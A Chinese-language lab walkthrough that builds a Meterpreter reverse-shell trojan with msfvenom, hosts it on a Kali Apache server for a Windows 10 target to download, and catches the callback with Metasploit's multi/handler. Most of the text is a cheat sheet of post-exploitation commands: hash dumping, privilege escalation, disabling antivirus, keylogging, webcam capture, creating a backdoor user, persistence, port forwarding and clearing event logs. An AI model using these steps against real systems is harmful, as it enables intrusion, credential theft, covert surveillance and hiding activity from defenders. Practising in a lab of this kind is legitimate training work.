攻击者IP(Kali):192.168.17*.1**
靶机IP(Windows 10):192.168.17*.1**
复现步骤:
一、确保靶机和攻击者可以互相Ping通(即在同一网段下,且不受防火墙防护)
二、生成木马,在kali打开终端,输入以下命令
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.xxx.xxx lport=5555 -f exe >/root/muma.exe
msfvenom:Metasploit 框架中的一个工具,用于生成各种类型的 Payload;
-p windows/meterpreter/reverse_tcp:选项指定了要生成的 Payload 的类型,此处为一个 Meterpreter 反向 TCP shell;
lhost:指定了 Payload 需要连接回的攻击者的 IP 地址;
lport:Payload需要连接的端口;
-f exe:指定了 Payload 的输出格式,此处为可执行文件(.exe);
/root/muma.exe:生成木马的存放位置。
三、进入木马文件存放路径,将木马文件muma.exe复制到 /var/www/html,并删除该目录下其余文件
cp muma.exe /var/www/html
rm index.html index.nginx-debian.html
该步骤是为了将木马植入靶机将要访问的服务器中。
四、 开启apache服务
/etc/init.d/apache2 start
使用/etc/init.d/apache2 status查看服务开启状态
五、在Windows10靶机上打开浏览器,输入kali的IP,访问kali并下载木马文件muma.exe
六、开启msfconsole,设置攻击模块并运行
msfconsole
use exploit/multi/handler //选择exploits
set payload windows/meterpreter/reverse_tcp //设置payload
set LHOST 攻击者IP //修改LHOST参数
set LPORT 监听端口 //修改LPORT参数
show options //查看需要设置的参数
run 或 exploit //运行攻击模块
(需要在靶机中运行目标文件)
七、获取目标主机shell
shell
若出现乱码,可以chcp 437
八、 后渗透阶段可进行的操作
Post后渗透模块
sysinfo #查看目标主机系统信息
run scraper #查看目标主机详细信息
run hashdump #导出密码的哈希
load kiwi #加载
ps #查看目标主机进程信息
pwd #查看目标当前目录(windows)
getlwd #查看目标当前目录(Linux)
search -f *.jsp -d e:\ #搜索E盘中所有以.jsp为后缀的文件
download e:\test.txt /root #将目标机的e:\test.txt文件下载到/root目录下
upload /root/test.txt d:\test #将/root/test.txt上传到目标机的 d:\test\ 目录下getpid #查看当前Meterpreter Shell的进程
PIDmigrate 1384 #将当前Meterpreter Shell的进程迁移到PID为1384的进程上
idletime #查看主机运行时间
getuid #查看获取的当前权限
getsystem #提权
run killav #关闭杀毒软件
screenshot #截图
webcam_list #查看目标主机的摄像头
webcam_snap #拍照
webcam_stream #开视频
execute 参数 -f 可执行文件 #执行可执行程序
run getgui -u hack -p 123 #创建hack用户,密码为123
run getgui -e #开启远程桌面
keyscan_start #开启键盘记录功能
keyscan_dump #显示捕捉到的键盘记录信息
keyscan_stop #停止键盘记录功能
uictl disable keyboard #禁止目标使用键盘
uictl enable keyboard #允许目标使用键盘
uictl disable mouse #禁止目标使用鼠标
uictl enable mouse #允许目标使用鼠标
load #使用扩展库
run #使用扩展库
run persistence -X -i 5 -p 8888 -r 192.168.10.27 #反弹时间间隔是5s 会自动连接
192.168.27的4444端口,缺点是容易被杀毒软件查杀
portfwd add -l 3389 -r 192.168.11.13 -p 3389 #将192.168.11.13的3389端口转发到本地的3389端口上,这里的192.168.11.13是获取权限的主机的ip地址
clearev #清除日志